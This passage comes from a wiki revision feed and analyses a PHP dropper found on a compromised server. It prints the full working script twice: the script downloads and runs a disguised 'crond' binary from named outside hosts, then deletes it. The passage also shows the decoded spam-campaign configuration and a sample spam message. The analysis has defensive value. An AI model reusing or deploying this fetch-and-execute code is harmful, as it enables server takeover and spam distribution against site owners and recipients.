		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker will see the following outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;inf step=3 data=x64&amp;gt;&lt;br /&gt;
&amp;lt;inf step=4 data=downok&amp;gt;&lt;br /&gt;
&amp;lt;inf step=5 data=done data2=XXX&amp;gt;&lt;br /&gt;
&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where XXX is the return code of the shell exec which attempts to run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;XDVSN_SESSION_COOKIE&amp;lt;/code&amp;gt; environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.&lt;br /&gt;
&lt;br /&gt;
The decoded value of the environment variable:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;ps&amp;gt;10&amp;lt;/ps&amp;gt;&amp;lt;urh&amp;gt;&amp;lt;/urh&amp;gt;&amp;lt;urp&amp;gt;&amp;lt;/urp&amp;gt;&amp;lt;lt&amp;gt;500&amp;lt;/lt&amp;gt;&amp;lt;lc&amp;gt;100&amp;lt;/lc&amp;gt;&amp;lt;bs&amp;gt;20&amp;lt;/bs&amp;gt;&amp;lt;lu&amp;gt;http://sk.touchpadz.com/&amp;lt;/lu&amp;gt;&amp;lt;bu&amp;gt;http://bat.touchpadz.com/aa2.php&amp;lt;/bu&amp;gt;&amp;lt;su&amp;gt;http://stat.touchpadz.com/gj13.php&amp;lt;/su&amp;gt;&amp;lt;ldb&amp;gt;wb_001&amp;lt;/ldb&amp;gt;&amp;lt;kk&amp;gt;38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c&amp;lt;/kk&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are three URLs that the program will fetch data from.&lt;br /&gt;
# lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd=&#039;&#039;&#039;$ldb&#039;&#039;&#039;&amp;amp;sessc=&#039;&#039;&#039;$lc&#039;&#039;&#039;&amp;amp;sessk=&#039;&#039;&#039;$kk&#039;&#039;&#039;&lt;br /&gt;
# bu: http://bat.touchpadz.com/aa2.php&lt;br /&gt;
# su: http://stat.touchpadz.com/gj13.php&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;lu&amp;lt;/code&amp;gt; URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bu&amp;lt;/code&amp;gt; URL will return the spam message payload, encoded with the base64+xor encoder.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;USER&amp;gt;lula_burton&amp;lt;/USER&amp;gt;&lt;br /&gt;
&amp;lt;NAME&amp;gt;&amp;quot;Lula Burton&amp;quot;&amp;lt;/NAME&amp;gt;&lt;br /&gt;
&amp;lt;SUBJ&amp;gt;Fw:  Hairy pussy girl undress panties&amp;lt;/SUBJ&amp;gt;&lt;br /&gt;
&amp;lt;SBODY&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%&amp;quot;&amp;gt;Hairy pussy girl undress panties&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
combat,  why  none of us would be here. Thanks guys. Mission  complete&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/SBODY&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; URL will return the exploit URL that contains the PHP spammer.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1163</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1163"/>
		<updated>2015-05-06T03:52:48Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
